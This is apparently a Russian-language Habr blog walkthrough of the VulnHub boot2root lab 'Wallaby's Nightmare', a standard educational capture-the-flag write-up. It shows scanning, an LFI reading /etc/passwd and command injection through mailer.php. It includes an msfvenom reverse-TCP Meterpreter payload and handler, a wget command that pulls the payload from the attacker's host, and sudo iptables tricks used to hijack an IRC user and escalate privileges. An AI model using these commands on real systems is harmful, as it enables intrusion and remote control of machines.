VulnHub: Выкидываем неугодных из IRC в Wallaby's Nightmare

Всем доброго времени суток, после небольшого перерыва, снова возвращаемся к разбору виртуалок с VulnHub. И на очереди Wallaby’s: Nightmare (v1.0.2), как пишет автор, на создание этого boot2root его вдохновили некоторые предыдущие CTF с этого сайта, а вот какие именно, я думаю вы сами сможете догадаться.

Запускаем VirtualBox, или что вам больше нравится, и после загрузки образа, приступаем к изучению этого подопытного:
$ sudo arp-scan -l -I wlan0

192.168.1.4 08:00:27: d9:00: aa CADMUS COMPUTER SYSTEMS

Куда мы без nmap'a, детектим открытые порты:
$ sudo nmap 192.168.1.4 -sV

Nmap scan report for 192.168.1.4
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
6667/tcp filtered irc
MAC Address: 08:00:27: D9:00: AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o: linux: linux_kernel

Начнём с web сервера, заодно посмотрим, что на нём крутится:

d7f5d52826e2493eb4efe87b37593949.png

Какая-то форма, ввода имени пользователя, запомним её, и попробуем что-нибудь ввести:

70a01b45cca4430c858dc87bd32d5831.png

Нам дают некоторые советы и предлагают начать, ну или продолжить:

2a525588f90d431c8ffc846d6f1baa8d.png

Это уже интересней, однако обновив страницу, получаем ошибку соединения. Просканировав ещё раз весь диапазон, находим, что порт на котором висит apache изменился:

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
6667/tcp filtered irc
60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))

Пробуем зайти и видим следующее:

c9bd6bdc10f3472cac751386bba088e6.png

Не найдя тут продолжения сюжета, запускаем nikto:

cf9465ccc13941b7bdfd24698ac80f1a.png

Nikto утверждает что нашёл LFI, переходим по ссылке и получаем содержимое файла passwd:

/etc/passwd
root: x:0:0: root:/root:/bin/bash
daemon: x:1:1: daemon:/usr/sbin:/usr/sbin/nologin
bin: x:2:2: bin:/bin:/usr/sbin/nologin
sys: x:3:3: sys:/dev:/usr/sbin/nologin
sync: x:4:65534: sync:/bin:/bin/sync
games: x:5:60: games:/usr/games:/usr/sbin/nologin
man: x:6:12: man:/var/cache/man:/usr/sbin/nologin
lp: x:7:7: lp:/var/spool/lpd:/usr/sbin/nologin
mail: x:8:8: mail:/var/mail:/usr/sbin/nologin
news: x:9:9: news:/var/spool/news:/usr/sbin/nologin
uucp: x:10:10: uucp:/var/spool/uucp:/usr/sbin/nologin
www-data: x:33:33: www-data:/var/www:/usr/sbin/nologin
backup: x:34:34: backup:/var/backups:/usr/sbin/nologin
list: x:38:38: Mailing List Manager:/var/list:/usr/sbin/nologin
irc: x:39:39: ircd:/var/run/ircd:/usr/sbin/nologin
gnats: x:41:41: Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x:65534:65534: nobody:/nonexistent:/usr/sbin/nologin
syslog: x:104:108::/home/syslog:/bin/false
_apt: x:105:65534::/nonexistent:/bin/false
uuidd: x:107:111::/run/uuidd:/bin/false
walfin: x:1000:1000: walfin,,,:/home/walfin:/bin/bash
sshd: x:108:65534::/var/run/sshd:/usr/sbin/nologin
mysql: x:109:117: MySQL Server,,,:/nonexistent:/bin/false
steven?: x:1001:1001::/home/steven?:/bin/bash
ircd: x:1003:1003:,,,:/home/ircd:/bin/bash


Но не всё так просто… Заглядываем в код страницы и находим сообщение:

И как подтверждение:

3cd8de20b6994a57b9dbfb77a7516876.png

Попробуем перебрать доступные параметры:

$ sudo dirb http://192.168.1.4:60080/index.php?page= /usr/share/dirb/wordlists/big.txt -w

c6bae4d7cb9f416a9fbc1460f15fb318.png

Начав проверять их по очереди, и дойдя до mailer, обнаруживаем в коде страницы вот такой комментарий:

a2de07ec163d45bc99216f66a60a2908.png
Хм, а что если попробовать выполнить команду?

ceb797caab95427abedb64eee83255e3.png
Это сработало, и это не очередной розыгрыш! Посмотрим что сокрыто в этих скриптах:

index.php
That's some fishy stuff you're trying there {$username}buddy.  You must think Wallaby codes like a monkey!  I better get to securing this SQLi though...
         
(Wallaby caught you trying an LFI, you gotta be sneakier! Difficulty level has increased.)"; system('rm /var/www/html/levelone.txt'); } elseif (strpos($page, '/') !== false) { echo "

Nice try {$username}buddy, this vector is patched!

"; } elseif (strpos($page, '\'') !== false) { echo " "; } else { # Or else, we will show them a 404 web page instead #include 'pages/errors/404.php'; echo "

Dude, {$username} what are you trying over here?!

"; } ?>


mailer.php
How you gonna use netcat so obviously.  Cmon man.  This is all in the logs.';
}
else {
    system("{$cmd}");
}
echo "

Coming Soon guys!

"; ?>


Теперь самое время воспользоваться msfvenom, и настроить себе полноценный шелл:
$ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle

А также конфиг для msfconsole:
$ cat meterpreter.rc 
use exploit/multi/handler
set payload linux/x64/mettle/reverse_tcp
set lhost 192.168.1.124
set lport 4444
run

Загружаем это всё на наш атакуемый хост, через скрипт mailer, используя следующую команду:
wget http://192.168.1.124/x64mettle.bin -O /tmp/x64mettle.bin

Запускаем handler в Metasploit, запускаем наш бинарник, и спустя несколько секунд, у нас есть полноценный шелл. Первым делом проверяем, доступно ли текущему пользователю выполнять команды через sudo:
sudo -l
User www-data may run the following commands on ubuntu:
    (waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
    (ALL) NOPASSWD: /sbin/iptables

Не много, но для www-data — этого даже слишком. Заглянем в iptables:
sudo /sbin/iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     tcp  --  localhost            anywhere             tcp dpt:ircd
DROP       tcp  --  anywhere             anywhere             tcp dpt:ircd

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Как вы помните, nmap нашёл 6667 порт, и пометил его как фильтруемый. Пришло время изменить это, сбросив всё на стандартные настройки:
sudo /sbin/iptables -F

Проверяем результат:
$ sudo nmap 192.168.1.4 -p 6667
Nmap scan report for 192.168.1.4
Host is up (0.00025s latency).
PORT     STATE SERVICE
6667/tcp open  irc
MAC Address: 08:00:27:D9:00:AA (Oracle VirtualBox virtual NIC)

Подключаемся:

99b5f9c8ed1d45ff83828017b32002a9.png

Команда /LIST показала наличие 1 канала:

8dabdf40d22d4297a687a0bdb94eab0e.png

Зайдя на который, можно видим там ещё 2х пользователей:

Nicks #wallabyschat: [@waldo GH0st3rs wallabysbot]

Пользователь waldo со мной общаться не захотел, а вот wallabysbot был более приветлив:

3580f9183d954112a115a5a55cd0be90.png

Ок, мы же имеем доступ к iptables, что нам стоит дропнуть waldo из чата?

sudo /sbin/iptables -I OUTPUT -m owner --uid-owner 1000 -p tcp --dport 6667 -j DROP

Дожидаемся пока закончится его сессия в IRC, меняем свой ник на waldo, и получаем ещё 1 шелл:

bc6b9da75b16489e9c3f9bb011002cdb.png

Проверим, что доступно этому пользователю, а доступно ему как выяснилось многое:

dc0d47d346204306aefc4d0074f22803.png

Забираем флаг, наслаждаемся поздравлениями, и, + ещё 1 пройденный Boot2Root CTF:

108032b7b0864008aa4587b843941612.png

Комментарии (0)

© Habrahabr.ru